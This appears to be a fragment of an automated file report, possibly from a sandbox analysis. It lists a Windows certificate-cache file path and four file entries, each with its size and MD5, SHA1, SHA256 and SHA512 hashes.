C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize404B
MD5b21b1073070413f1fdaa287fbd1ceef4
SHA158b9ad2e6e0db0c983460ef9e012f8234f8faa42
SHA2569df02e9ed04b9c2896816af34554b5e39e0b45ec3b50dd54965959cf101634d1
SHA51256669a6b252249a1bb972bc6f47f7beaf77b890f71152c8707440d4493b0eb90b6da17d96a40346fb8bf22365f1adb578ef6c3f12d74fb6cdaab1bc3f08b4a44
-
Filesize
17KB
MD55a34cb996293fde2cb7a4ac89587393a
SHA13c96c993500690d1a77873cd62bc639b3a10653f
SHA256c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
SHA512e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee
-
Filesize
186B
MD5f70e7284e20952270981f265ae82b759
SHA1b269865ce9bdc14bbbefcde311aa5f33dfbd91d4
SHA25679937c1a9403ad8a740b82ea24df1c5a4a1a23bc79103dcea1736f7ec3df836d
SHA51237d5ad4440c6a7f4ae6f2dc1975ac0ea8849dcdd9fee41fedc370d310cc13dd17ce562e96195dc4f9d1cb4ff534e31dd31dc8b5ff68a512d4f02fa539b9b68af
-
Filesize
88KB
MD549ab6e025bb0fb3bfbb1585143c378ab
SHA1fe11a392dfc5613644d39cd8f25a1d7bf61e7a0d
SHA2561cf6124b4a53a9b62b04608c1d1c8b1c1cd5841020f7933ed3a0e9964b12d6f0
SHA512def1a06ad8093efac90b81d403da0c0f1f284132c447180b5a561047d5953aa5075fa41873eb073f10c77f337e2c1e88a17020f2610979b24370e555971c3fa9